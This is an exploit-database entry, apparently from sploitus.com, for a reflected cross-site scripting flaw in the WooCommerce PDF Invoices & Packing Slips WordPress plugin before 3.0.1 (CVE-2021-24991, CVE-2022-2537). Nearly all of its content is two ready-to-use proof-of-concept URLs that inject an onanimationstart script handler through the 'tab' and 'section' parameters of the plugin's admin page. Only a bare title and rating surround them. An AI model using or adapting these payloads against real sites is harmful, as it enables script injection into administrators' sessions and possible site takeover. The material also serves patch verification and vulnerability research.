Exploit for WooCommerce PDF Invoices & Packing Slips < 3.0.1 - Reflected Cross-Site Scripting CVE-2021-24991 CVE-2022-2537

Name: Exploit for WooCommerce PDF Invoices & Packing Slips < 3.0.1 - Reflected Cross-Site Scripting CVE-2021-24991 CVE-2022-2537
Rating: 5 (68 reviews)

2022-08-03 | CVSS 1.5

## https://sploitus.com/exploit?id=WPEX-ID:AE613148-85D8-47A0-952D-49C29584676F
https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x

http://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&section=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29+x%3D